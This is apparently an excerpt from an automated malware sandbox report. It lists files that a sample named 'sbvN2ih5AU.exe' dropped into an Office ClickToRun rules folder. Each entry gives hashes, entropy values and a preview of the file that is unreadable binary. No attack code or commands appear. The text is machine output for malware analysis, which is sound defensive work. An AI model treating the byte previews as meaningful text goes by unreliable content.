Preview:	<?xml5].i.A\J..S....p..T.{...D....fY^....8....J.TH.k..<."..-.\|..e.$0.Q....g.K. ?..MG...d..>Ob.1d.6...M. ...&...n..2....@.. #........T...jw;i.]....z.&...UJ"...../,.Z....J>...X.`....EQ...\......,.B..?J0..T..S..5.xH.. K.n......k.]..^@K. ..}.U....p.0R.f.Ol..}..=.<.sD(.9:...o.<}4Yt>....].k..Q.8...z..L$.....Q8.a.m.IU&5...h.H.~.kJ...`>....>.3EP.0.s.L.M@.)G.z.J.g=Es.Z.9..,(u...+fu.O8...e,...2q..h."]..&.....+.e..j'>.ELSo.x......R.a....#.#...K....$...2l.Sz.\eY..'\~.S6...".Q.b..!.XT..~@z...i.i..j.a<.g$jA.W..\|.a....?.#..U,..G........ C..f42...,.-G.Nv..".....u._....2.I.X.^4...v..z..m.l...wi/D.....I....I.U....D.El.VR.n......i.$:.....Ryb4_...iM..^...Kb98[.?..B..0.?.._..3.0...../j..$..7..jj.p....l.^./...;:...A.<X.!.i.5..4:.j.E*.b..KP.q.EX7.....\|.1j.~.tj.........h..#H..0u.j..g..d .iS....y....\?.J.............:`&......6L#....y.:.W...y.......^Ym..`=^0nr1....5...+%....T.^..R..H.z..<3S.......:......x@h....6.pL......."q.q..8..DZ....?,!d...S..R.h.w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.899144214079783
Encrypted:	false
SSDEEP:	48:+QIiukJh7WQQzd4Hdw0/LTwc7zuso2JNwBGsoTRsGD:+I17WQQJ4HdrDqs13so9se
MD5:	33D897343F3F06E7F4F679CB7BF2705D
SHA1:	C99BCC9C7520BB15D694864152A0ECA0B9ACE244
SHA-256:	A0159272208E457DABF60E0E18E3F34C6341B3F35945320E664D23FB70C0FCC0
SHA-512:	86A2CA7A4DCCE0CE40BB19359464BC7F15793FF4CD738793EB1DDAB903AD3DDFF10862685B0A521DFB5666F9D2E2BF89610DD52841C93C6A53DD7B7ED35786F3
Malicious:	false
Preview:	<?xml.u..}.rCtD...z..&.....}d=A.....T..Tl>..>..}..h.9.U\|V.f.i..7..a..=.d.........}.......9..-.`$&..X.I....aW.....#M%.>.2f...:..F......k..]....IS.........8..u_.;f.f..8.[....#..nS.]@/......W..d.."t.S..[+.A.. ...!4.+..S...cBQ.........~yh.._a.DY:.. pp...V...J...wQ+0..@.x...,.....k>rP..X....V.Z.g~0.<.$k.!m..NJ...x..i.5..........sU..n<......`...A/..5o....s.~.Yv...aS....wk..].H;Z......i.t..l.A.........1MsN..B....M.[....b.\| .B. .6c.U=g;...q+.yv.S.@.!..`ES&....KPO.)..........l5Q..n.].1.CB../:..E.?.^@..x.Z..y.iK..<N.....d'W.cO....<.......f...{..A.?2...I.%.{=.t"QR.wR...Q".D......d-Y:..U(.1.q.hYT..=.Q).......%s[...wb.....}....x..2..`...C...}..........T..#....-).y......Z...DH..V......oo.}F.^....M...-.@o$.x[@..z..%.3!.Q5..5.c.../....Ad.Rc..X..2./s.....).5...E.m\]..zz.G.7Q..T..H..v_5.=..S...F......o(...l..f.?.AB.l{...Sk."^.x......I...i.y...1.^I7E*d.M.3.......^.l,=_a...%..J.K.....".k.!;.<B._.]..f).&A..pu.. ,...'.tNB.3.,..\|..!.(.....U.T'..Z.Kq..L4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.885243919564538
Encrypted:	false
SSDEEP:	48:O7faRHlkxfwrCURQo+vZAtC0tslP5cNhF118LtD:O7uFjrC7VvZCs55ch8J
MD5:	20B4C2A089E30833456169EC7ACED2C7
SHA1:	C005DB0200FADBEDED8FAD669C6CBC40A6878199
SHA-256:	71068A5E8BE459675EBADD555A1578A3CECE3F5FDC0BCD2886FEC76DA8567171
SHA-512:	0D5844C7A43F24C3530DADBCC0E727C6D5F4F0A1587C118C7072204773FBDA7C1C31A600559913CD8F3CB89D49FA3C573A538386506CF3BFFCEF36928A9AFEBE
Malicious:	false
Preview:	<?xml(.x.-Q.x$.W.......o.....P..Ce`.c.5.....v.F..^N..0..z.B.8....U...F..)c.P.t....&P9.X...v..;.Y\7.[.Qq. >..'..i...<7.m..=.%;OB.SC....cH.HE..5.0.H-....\mQ.d.....)..}C.dSq:..Y.}2.q......k...}/.........K....U....Y5....[...td.S./.@.c.m.[._......W..q.c^..w....]o....hMh.k.....T.l(......t-...gK..K..}.78...HjcL.F1s?$~6....hX.^p.....<JC...6..v.`'qPn_.P.....G.L....p.RK.j.H..........H....^<Cq.o.FL..?*...0.-`c...xfV.Z..Z.P.%-....Ey.9.{.<..F.1S..s3.......v...^...\....4...Yt\P........%.f.....H"...[..}.I-P.Q..@A~.....K..lPW8.-.a.5.t.J......D8@..qZ..S...u.?F.y.}..f.). T.]'...V..m...}.r...k.. {j.@]'..(..p]5.(Lv@cVm#JI....;..........8v ..5.r+.f....I..P;;.H...~.^2..8].Z.iY.&..V..5..tO.......>.5r....e=vm..yQ9............{rA...\.Bi.,.C.;0B..t....g'...C...X..^S..<....b.........M.T..s.L..y....%..)f`...+.3..V\...0..]?.C.m..."...:b..U.7NA.}....S'0..&@#.....#.v...a...Cs./.e..hM.!S....k.C(..t..)...h.h.<...-..$.hk..k...x..'...P._@.~DX....+..........3.,.!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.7231489423224255
Encrypted:	false
SSDEEP:	12:BnJwBhwk6wSNEG0FTZmRyeb0yYc7Z9IQ5b5u8uLldjRtWCDbu04utXhMvpiEZ1ZA:tJQRS0ZsU+NXD5CHbWiZ8hiuX9B2bD
MD5:	FEAE035CE25C8ADF98D565CD3346849B
SHA1:	6BBDE6E969B3F3DEC8614B749F6B94813049C9CF
SHA-256:	A7373FDFE0A594FDB326C97CEFE7434A08E84B11688CB9BFA7F863FAA0410004
SHA-512:	860F133868B5931F2144F7839E8A280A1DA9C5F21BA3A91665287C23BC3D1E5D7DC7B93CFC326C7D7ED9928692D7CE874370983AF7D8D87069278E895E183A33
Malicious:	false
Preview:	<?xml..o.9..........@..b......w.c.. }.WY..N!F.C.R\|.f.]L&C..Ay......k.=.....J.-t.\'...2.G\_..<.VZ..r.!.....t...u9.Uf.C....v........./f.:....V.1m.[...>.....a....(d...oXr..2.U.K.6...k...R/.o......]_.1._.i..h.......F....[uo..4l....d..cx...?.Rl.s..j.;..b..Z1.......em8......}.;......PD.3.>..o._.2G6..k0{..q..1/B..6.'}.LQ..RE.,$..?..f..M.........b.<.....fK.....T....../ ).br..r.....d.~j.>.'U.i..z.\|..P'D{...!..!.[.&3...}s.:.0Q'.C.'i......e....q..4...d.%....{LU.....D.....d.S.../.NY.".`.2.....V.Rs..D...s.w.p.h...$.r.........'..f<.'99..??...x[#..+..{..[...4.x..........].0......S.xo..^.9O.:u..S....e.c..\.n.K.'_..1.D.x..C....t\..(L ..={.nJ.vq../...........w...k.x.....N2..D.g<.O.f..\.j....Z=....U.n.+f.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.907027700536825
Encrypted:	false
SSDEEP:	48:K00Y0G9MtSKFRYT+6naXm/XmX6KXCyv0XPiAhCrijD:K0h0G9EfYRnYmPmXFyO0XaKIc
MD5:	AB6A61B9C777C2BF8EE1B639C38C2F43
SHA1:	CF01933DA90B58E1D001A5EDFC415601261735A6
SHA-256:	5C1484B5FF2041806E12041179B3CFC6BA7DA6815D9DB43F804EF407C94B0316
SHA-512:	934B4854ED82929B3325BA2BEBE08D6DF276D79E38410EF8513FECE05939F2F48B6D49EFC76B01AC606A20AC674A68F7F34C723FFAA8FFDFCD3F234CB5E326C2
Malicious:	false
Preview:	<?xmlXDW.".-...T..a2...Q1..;:....M..~....)l....x......jH3..p..D..!..n.A....}^\tq...@\a...\.....~..5...u....C.1..uEw.=.AL<.6....Zp....bo\|.v.:O....J.Ol.BKSP..o..v..^.xt.5c..........,A..r..=F..H..H.e+G.~....P8B..$.!.............(..u.O..VO.A...".6.L...N.........}e=?..P..vO.."7Qr.......Z./..PY.F./.~.......7xwi...<.5.h.Q(.L.f,g.x....ut...RSSM.<...h..=.....}.=..6.Vc..m.I.p/...f...t=.S.q.J..&.m..cB..._..x......J,Xo^W......(..zd/o..s.\|.'...d..?..\)W.p.....c.(..sS.B..b3.j.y.8=,.nE?B.N<qQ....O....A..x.r=....%Ra.".[#...a#..C.~o...B.G.U.s...=v..5.q....[~..;=\...v(.Bp.r...S.r.s&...X.!.9...%..\..+V ...~.........4N.u.88l.SK.m..m.?PN7?..O......o..X.u..4A...$..._.....c^......SG]R....!8d..u.Y.4...8..@_ .-.........Ml.....Jae...jL...]\|.tP.<..r...K'v...Q.)..p...X...=..+.`w. ...xS..........-D...._....1+...9JH..v..Y.7..\.'.....2.....^....#.f..[.gI4.m^.L{.....Y....<Y. .9V..1.j~./7{...sJ<.3......c..(...m.K.c.._.... .cs4..L.......<......~..63.oq.8`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.708124971309461
Encrypted:	false
SSDEEP:	24:dzTozdXWjJk09Q8V3qovqpa3dE9h5amAK2bD:dzToEP6ovpa93sD
MD5:	22DE3CE7C2B568CDDA5A9A2311E3B0A0
SHA1:	F903B386E5A2BD8B4D2AD12AAF0536745A13C359
SHA-256:	4F188794E3AEE7BCA12D0E9EA1B3BE61E9F5646ED847F9BA2396F34BC2F602B6
SHA-512:	F43F1B5D1705E2E1CDDA3640C25C014F20048B04D0C7FF5761ED8845B195279214C8520FC492EF0BB6964B1EB1620114F1E5D8DA0B99E10A559CCC4BE071EB5A
Malicious:	false
Preview:	<?xmlN..z......f..w.6!..W.'~.r[.c.v0y....Qi...........m]C..Ss9..%.{..!T...7{5UA.7v....#k.F...W..%..E......Q']..M.....m.).>..t.-F..e......M.6R..F!..L).$P%.c.:..EV8.r9.w.,=..n..B.P...WA.....?.{.:.&3.... ..N.........]...C4.b...".3...s.&..nM..j....../.._...E+b.....q..tCo.xc;D.....?..t...Y.iI..N..Vg3..."@...O"j6tp.(."i;5.....`..V>.D..#..LX.A.6._......'C..@+.c....e;d%QV8:)..8i....].aw.o.Rl9sE.jvv.....m{.=N3.Y..,.^.v.\7.Wx....d.\|#.x.e..qP.5(.-W.....O.?1D.....9!.*...nno...^...........,....m4......]#.T.u3..nO!b...t...u\|...6..s..Y9....{ .Tg....C/.d.R..kR0.H^..JZJ]T..$...;.....y.SN.....P......%.b(.\|..(.%}..t....WI$E..<,#..m+:... ........X..........NA..-".H...b.?..J.!C>.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9342578102212995
Encrypted:	false
SSDEEP:	48:jPLTacgFgPxPwOnl6gSxX8z63knEfX3uCZtwLIxyGVwBPYtF8gPM14PYbyyiVDkP:jPScgFgPSqDgM23kKHuC4dPECgPM14PC
MD5:	EEAFF3D25334C65CCF9AEA799C391E4E
SHA1:	E5BFE8B699D076E8C475B11FF8DDC13D2DEBCECA
SHA-256:	5E17A1249163FAC811316DE825A6639A3C9E9EF388054C7B54FDBDBFF83FC39B
SHA-512:	04F149A4E8FD84D65C67CD17F0330699C0DD2C7588D15F0D65D9BB91D41AF9F18501B6E7E3224B234287E56F62E2E4FE3B407564DB799D72AF76A62507ACBB36
Malicious:	false
Preview:	<?xml..&n.w..atBzZ..z...%..H.q.Wh....R.HN.......$}4n...s....C...h[.....%.....x...Ga...z...M.r^..6....Jz@E.qsb..j....C.4.c:...P.........a..u.q.B.....<....5^`.B.\I..)]t....tz.!C4...z.t..9.7.:P.?.9..S..)......5...r....$3..L......R.2T\|p...g.L(.S.7........N4...v..K_.Kd`...l...s#.l\.OW+...:69..ye....Y.2./.]i.....y...I.X.c.5.Z(.:"..A.....F.T..=..:t......gG.4.........-...4.\.........4_._3w..<?...f..2...{.kI..K{..[[{.. n.aHY.E....2b..(...y....%.#....e<D...=T..E.{...$#...+3...cX!.VT.P..%...pR.7....A{g...4..#U.O......b..3~j.p??....F....._...[.}D/.1a....%.>_......Jz..@2...N.O.Q..H..b.u.X....).B.T.p...j.9.......%)...i...m:x.. .....w..6.....7..{..eT..0....$x9PI.I.$.#..8h%i..zx^..{q.....}=.Ak.^4...._pj.T.b...._.$..F...B..(..U.~.).KL...6,..[.p.D.2.5...)...3h..^.{[..\.TB..zw.~l.FQ.J...5....Nby.).%,.L2...>.L.5s...9..D.m.:...9..!.K.=aY.. .8.....+...D..2F../m.{^w.N.2_.0){^`.Nt....4.l........'.#...z...._.Q.(B.U..^q.QE.\|'[~M..y.....}+..1..[<1W....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.948265976288189
Encrypted:	false
SSDEEP:	48:MCkWzYMWH2TKiWspbug2lQTy34XDkKD8PpZoTZUCBycz/+v3+agKcqq805o81Wa7:M1WlTKiWspbug2me34XDbD8PCUCBnL+i
MD5:	D2A4F9C6FA949192FDF9B4CC7EB24080
SHA1:	A5030C7C69AF6ED51F2B760434C393593274FEC2
SHA-256:	52F238F61065A54FBF34E957FF331C6655687D85664B3F121D7D6C89AEBB2DC6
SHA-512:	BB18FAB19A0D846AFC27C010C52CE30F8F6711C9D8AF5875B5A9B28C545E71C2E771746DBFE80F6BA4E413400FCBDB90D76D04A29F1D4A02862530048CC69E2F
Malicious:	false
Preview:	<?xml1A8..C...k.n..#@..2.^i.....tP...g.F.3dD-X.zX.....9..>xlL.R....[..6M.......hv.:-. .yAEh4.J.F....:.f.U......$...,..u..G;$1;..F.]`.....W.....o.~Cn....^....oz.Tl.....'`............?.....0.?....l....C."......]z.^...;...9>.&..\|.{K_P.e.`o..F..J[+.e!.........b......S..,.i..M.=J..".qDO..(H..J.lY\|O.Z...KI.7......c...[D..$tW...6...'..d..0...q.......]'_.L..y....o......NI../-.\|.U.....`L.Z3...UN..ia,..I.&....4..S.b.....g.~.OQ.H..k ..~z...!.:.#.^.9p...Y....0=.Omu....M}..X.E,.$/b.a..V.u......x.z..%iJ.^G..g.x.<!L\.....K:.)r..m.'T.q....Z..=..G...zP..a..:..;.b.p&L.1mi..z.....(...y.&....?.....)8H@[.(....K...wr.Q.x{!..n[...9..B..+V4.f.3u..W..F....9Z.......R.:;.\|.q......\|..`.DQ.....g..#1n0Y...i..(....&....Icis..>.OEW.Eu..hrX......C ..{y....l....[.p......l.....=.Q....f........S~.hRI....R.....Jk..yk.Q.Pt....C..B.jMJ.M.;K............hm.G.W.[..}6....U\....h.}...6......x+$w!....d.6..m1.kE.b...Q@....7......j....Ar............).-...Ci.B....1.Y...Ci1.f.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.956247247765978
Encrypted:	false
SSDEEP:	96:St3wHQITql7rjnzf4S8jI85mPySzW6GbaU8Yb5VE+3QPKsAAVVBUO3:SNDI4fa885mPySyb8YnsAw7h3
MD5:	2D4658A859F92545E326EBBDE3942685
SHA1:	F4CE57153A853A668B8C4E66FC8585CE8A89F7C2
SHA-256:	C1D3EDEA2F1ACB115C851E3534BF20B3B610971756CE6299A4FC9895E60EDE31
SHA-512:	7D3215BBD5B1A269B351787B1158EA1EDEDA33EA30E88AED6BF53D8D9CAB4FE4EFD13A33A7D2650236661562D7753F1FD4B9E3EFC53E88AB69FC4FAC35239A8A
Malicious:	false
Preview:	<?xml..X..d..1...0@..kcVg.YGUk...Y}.FN%Y.02(".5.f.7...1..h.--..K.......V.J+....T.....C.3.J.IQ..o.........0....i[4.e..H..`P.:.-i...B...4VI;.k4}.#..o..493Jc.;..e....k.....)..9.c.........4.........."..:..~5l...!.n@...s....$..},w[.j...r.K.z\7!.U..........M_E..$...}...w..F..,.4.#zl.D.......C)..*...\|.&..........x'.4...DJZ.f..c/...2f...N ..G....LNf..6.YN.g.P...%..}sug.r......@..9b.GF..1&?.....Y6.....C..!.l.zq.P.-9.=}.[....s.;?..9...Q1o...1..w..I=\\. =.zaC...^...CFS.3'H.AK423......\.4QZ....r..T..{.K0PE}..#.'.x....y.5M..b.....#.Nu.$.R....bcBh../..5F.ePD.'s1...u....N..f\...H...}.=.....S.<.W.....dcU.7v.(..::..C...mh.{.c..TT3....a.(.5.@.=..\|y8~.n.=.?c..V.&o.1....J..U1.........g.fs@H....~ny...h..S/.BN.4o...p....i.."...g..pC........#...<..8.K..P~.V.h.=t..^@v..YxBe...R>.8.O.-.E..V8.a...}.1...v..Q:...X5$..ozM.J.3.G.;.....O..t...3.l.&... .W..a .\|.LJ5.`..c.rk.....I-I..a.Q..p...c'3..Tp>.^......2Y....{.8.&z...?..........X.J.oz.>$.;cr.a...y......Aw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.849071874708079
Encrypted:	false
SSDEEP:	24:fw+M40KhdDaw3wX9ep47c7VWQPegS2fENHEBv1ECBroCqCq36/IHjb+F5pitq2bD:pN0Il3K9eppWQPegSjEjdBECPAHjKCtJ
MD5:	C94BDEBD833883C64AC9BDE78B6A4D6C
SHA1:	3426E72FFB0A3968AE72190CA5B103E7D11C4E76
SHA-256:	231F6E87547D23256864C1BE07CE57EFA346E95B8706EB4DF83C3681818740D3
SHA-512:	0E0F0B873FE1495868E8CB7ED1C0AA2C9F62C3296CA7287C2E8EEB3068F88F4A8CB99802AE1E82B65FACC7CD2142D62BE5A885D56B56571C6F735DE8C29F7658
Malicious:	false
Preview:	<?xml.....p..,....c.0K....k...XT.....;$...Z5+....;[.;u.....;-.G.. >.....X.._k.t.w~l.....(S.".3Xq.%C(.....;n..%.F.X.F>.3..2m5._.Ro-P...S..3l.....'..5. .<);%=3......$.n;]M. c.).B....'..t..M.j....gb..u).s6b..$.7...e.YE..A...'...F8..q.L.3.J.....L$.I..$.S..h....R..#.p.-n...U.,..,.\=.w.... .ynm(v..kv0..}g.Zy....C!.3A.o.....m..,..8....Ma.K..CR. ........}GG.d.E..3M.8-".5...{9_..I..4..U.Ck.....V.6..k..HIQ....OOq......../Du.a.<.*..\|S(........^.[..9.1.'.8..n&.<o.b./........Ya...4..G._.<w..(..7%.q.V72.Q...}........c.7.x.O..SJn.....?...`".;.P..v.].FX..K....}3...c._.,9`[....N.u.pq...PP..OC...Y..UM..%\n...'.a$.L.S...2...TU.[`R._d...D..L.f.U..E.#......`.v@......./...f8..^,.!.....OG!....V.h..."...8G#".sio.#...z.L.m. ....@.......Y{..1H.P........+q.}0.Jn....5......J}I.......O...... ..T.7,.?.....s.[....6.0t/k..O-....@Ym"...ew."$.9...._.ja..h......YSF..\|g........f..[..d.4..wc.bcK..>NG...^.]._^..U...N......_..,3ABo.<..OR.sa......?...0....C....EW...D...0......nc.....F]Mm#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.870942497778967
Encrypted:	false
SSDEEP:	24:SoxOmu+GIwRiUbBfzv+4hQANLvHS52sB5WW7gv2i17To57Rgam9cQg2bD:Sofud2UbBfzv+GQuzS52m5WW+2lnmuQ/
MD5:	16767A457A519D512377D700AA580F04
SHA1:	E6EFF9B24D17A7E96CA208876DABAF8D0A998A69
SHA-256:	E92F1BC462DDA0A72F67F30895732915E558D681806D343C9989F755DAEC90F4
SHA-512:	D54A1A185FAA98E2DAC58B87D3FB83653607D2FF3A1A603FE55CF81B4CDA08DE9CE83E8365A8B673CB3692D8313EAC714CCD5B987926379F3E6B2E4FCAA4B518
Malicious:	false
Preview:	<?xml`..!...x...C.....9x#>JY".^..F.f))....o....}k.,./...q.S...>c.1.S.k...J`..>..S.c.&`..=M.....V<.o...=+.`......u.....6`$,PN`A'....:.VV.s..$...K.O....a..\|3.@.o.XW....*\|.}$,0.T.H.~..z.K..f.a1"z.+.zR.=5g.....^.L.^?v.j...r<...,L&j.....u....+.....6\|.=&....@.i....z.}.c.2F-?..YA.O.q7..<.O.lf......_L..F..i...cm.... +....Gzq.y3.[..s.........Q........0Y.....v./bX...K.<..v.[Yn..9E~%....%!..{z.-`.nq...^.h...r....}i..'..W.....m}&.O9. ..`:...x....@.7..S9...S=...1?n... ..#..I..i...(H.wl..n._......e...h...K..1Zwx..;G.&v.=!.\|}.-......?..!..y.o"v.nl..s.5..(V..h.aU......v....W'b.)......m.fq....$.....9.1...hO.L.....u3..V.C.'....._.M!..q....LW...7o.<...:G.8.E.]....'.&..W......+1....u...\|..i.O..r/.D...I.....G..........f..........t.Y...`._&../ .....,..f..4.E.D.l.L..r..:L...a....Jn.5.........I......4...!.v.K?..g..w....._..\....@.....]...oB...c.)#.r.\S=.........]....i.I[....p;..5........i......`......J.w?...J=..'5.....r.....U.!..D.A............W.G...._...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.805946208668024
Encrypted:	false
SSDEEP:	24:hxh9gRofU9q+U452/PzTdRXjyh3Nnw10r6FGag3MjD2bD:Lh9gRofoq452/PXbG3NnoFGrIwD
MD5:	7762D026382D3AA9B9B110636FA2E01A
SHA1:	D67ED0F886339B21BFB3090D791BAB8410AC0636
SHA-256:	35FC8E18C37D51916E315DB81D785ECA34305A9A881B49B9A123A4260735662D
SHA-512:	96179872F262007C35D675ACD1171F2A5CAABB6D795137E0D543C435475627878B006F7442D73C4D70C3A0FCFFF66BBBBB8F3BBF966C4909BEC154D90086289D
Malicious:	false
Preview:	<?xml.?.....t.....0...e..9.\|U.~....w4IKRp.{I..v..w..x....u}.8.O...,cg..S.x...#.E.....5...5<...9.Jiu`C........S...+saC.P.U...iS5.Z...H..[.!...~T.....2...\|.l...k.A...%G.p%.....w.C.,'..UYXYF............d..;..oA$%...&...YD...#.q..G....W..9r`hL..{4.D.L<..q..b&.....U...6.[.l.7...,?....v:.D-..U...qP[..y".C..u....?.z.g.m.Q..Cj"u ..Gi...<V...{6.Y.......^.....=.......D3.].....yL?fk...,JR.......F+..d.C,..aHz.s}.c..t.R....NP....s..h5!..{..3.r.o[...U.?.)......:...2..o..T.W..H...q#...r...p....\.;".xu.....Z6...r...?7....QT.?......[+......tT...P.^.)...D..D[/i.E5..o.f.>@....L)...6#..............[..o.h..q..k....gq/N.+.X....${...l8w.0.._...I......y.<...U.3?C?FQ^.:....Io....~...\`...).E..,At.].:r...<.....7.9i.a...}X\|.gdp..J.P...X.,C.8M.......4..c....n.j>...s...i;.;...f..)....)H.......=.......#r....[.+RTk,/hP{.........2.M7.Q..2...L...?\5f..U.A..g...rt..n8eR.J-f....Z...._.B.m....".QNW ..?".q..O..........=^.9BFZ\.\|....FDL.(......z>H.I~.T...A/..`C..G_9...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.979823861152808
Encrypted:	false
SSDEEP:	192:RrzfD56YHTO9KivTbLcqN0ZqlNvwDLy2vBvBlVoA8+7iuntOSJ:Rr7D56YHq9cc0glNv25GAt7iu7
MD5:	E8CDE52A475484F0026768E8046308E6
SHA1:	6DA708F8261CC4C01D8215AF36169E76F8AAD2DB
SHA-256:	BF9488145EEE511B742C103BD761D7084303477E7653FA1B01932658988A1CFB
SHA-512:	D19EA1891D13716E226DC02BFC01B815463B3EC8E64025FAFFFECD6B2A08E78C0823245F7127E4C54BB9326F188078AEFDA5BC92A58CD069A2826BC063C0C081
Malicious:	false
Preview:	<?xml ...._=Y.5..n.f.oz.L..Qf...0..........V........vm.VQ...9.PV..>...}.n.Mg....wr\|7..w.....X..E...h1]q.&u..\......E!.[....e..f...WOXk..f~..0.f.5..V..D._............d.W.9...S2....V.%....&..Ho{./%ux.[.L.&.,\X...`..<0..8....ywQ.+.R....M9.....^..C.....G.j ...).F..[".&Z.(..`R..AD....-.....u2T,...q...J...&.B...z.....1wP+F...4UX.S..... .#$....4.p\..a..j..........c..@.{\|9.!#\.(.5;...........4`q.{.....F....@9...L2.(.m..&.A..$.:.2......dl..u.:.DhK...<+...dm."U...F.G....)...E......].P.....'...9..q2.\.^l>.......Li;.A....L(.?'...s&..Vp....~..#.W.G..%.G_...&t....z.h89..-....&.....U..G"....I....Q...,j]..."{W...6%_...n..(..[h&>.._..%O.~S.=..?.i.)..,....1.d....o....l.y}4....R...G.})[.).r..+I....n..4....w...%~.e\|....E.K.........2.R.I.@. Sp(y.......A...]g:Vp.eb..7._.J6h..NN...1.Z. <UJTM.4`..}.....G.....K.x...XO....I..R...3.y#.Z......`.<p;.J6........v.x@.{Zfn.Hf...S..t?......#...P.....p...:...m'}p+G{8...q..U.DL.m.hq....\..:....^.P.....m....t...q...'..p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.962697449847826
Encrypted:	false
SSDEEP:	96:W8q2eywQiZ6EzO2qPmf8fjq2JEvKnx64io2u4hq3hKZzt3DbSB2y4jcrJKZWJIVA:WJ9ywxRzSP+NSEvkcE32zlD+J4grJ7J9
MD5:	4EDB15209337CE2E7808D90F70E4D337
SHA1:	57A2D193F7D80F8AB61978E2EF992EAAD444233B
SHA-256:	FC8AEAD88014A423254C49C3A7ECFA90BDAF293A14F81CDC628C1740AF0735C4
SHA-512:	C4CE74C9C3F24E3E216BA735F4679C1D5014A7D536566758698D4363B93D050FFEEA0104DB2560008CF5414999D39A4D8843C34D1459FC456568466B107F2623
Malicious:	false
Preview:	<?xml."..n.m....ahuh....5.F..9...TOLC......5.T.....c....z..."wU.r].2........\..P..m L.b)B;P.t...fREG.z.].."#'..Q...,_......Fu.GXZ..{..\|w.a.{.J.....c.$.A.....]..u....%v.C.E..i..U.'.>..-%(..9A...5.vl...T9.._3....ha..H%n...5.!.W.9...`..m;TX.:...Z......8$...I...#..3".-...o..F.Z......o.13......P...._...>..N+...E....}......F..b@..\...1DR..._.q.).Y.s.9.."`.i.......O...)....D..z..y.<C.[f..k...;.Rj...T[<1k..).SF..e.f..Z.#,.. w.....h..$v.Rd.F..%O._ff.........\|..?.:.~!...(.`]..s?...f!./..r.aO.x..0).,f\|.Q..B...z.f...}..."a...Zg.+4.,.m..;9...U..(/.....l.....u...6.Ey1..V....E....p.lW.`m...\|6b............B....F...b.....d@=S..F!~..)....R5.uxa..Yw(hD.u...^b...L....73[..k.....+...gP....u...a..V.....]...N....-.U.%..W...Ga.u..&.%.W..._{k.-...5....w...Ry.\|d.Lhx.. E.._5`. .....oQ%x4Xt...P.!.I...!..F.RO.^.S....kMb.../...k.7..6 .l...4;4..o!U.;...-A{._..~.3O.......g1...X..0{in.Y...B)f....x.].zR..!..oA.X._.H.W...%.Q\....o..S......-.sX..3y.....P=Z.i:.\|...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.962847360645732
Encrypted:	false
SSDEEP:	96:Nt/UowqDqT+r2ceZci/FOwqKozOi/IwPhmAf61IokUiD115q:Nt/jwquTs2fFOnxtRhHf6jkH7Q
MD5:	19BC4745C0AC73D5F60FFA4A1C8E22CC
SHA1:	D95AF812645E533F0A2EE126CF584943993395EA
SHA-256:	76C30158116C7086F3409E8BC05E4CB78A273E25AA1A6506CFFE9E6E590464F0
SHA-512:	24B2E4B2D664043FCA96169CD67F4BD2B765D00C8488DCB80E67CDB15E5EE31CAF3693D4B3C8976A9CFCB2BF4D8B3B9A1DAD5D97F956B63FF889BD4960F89A3B
Malicious:	false
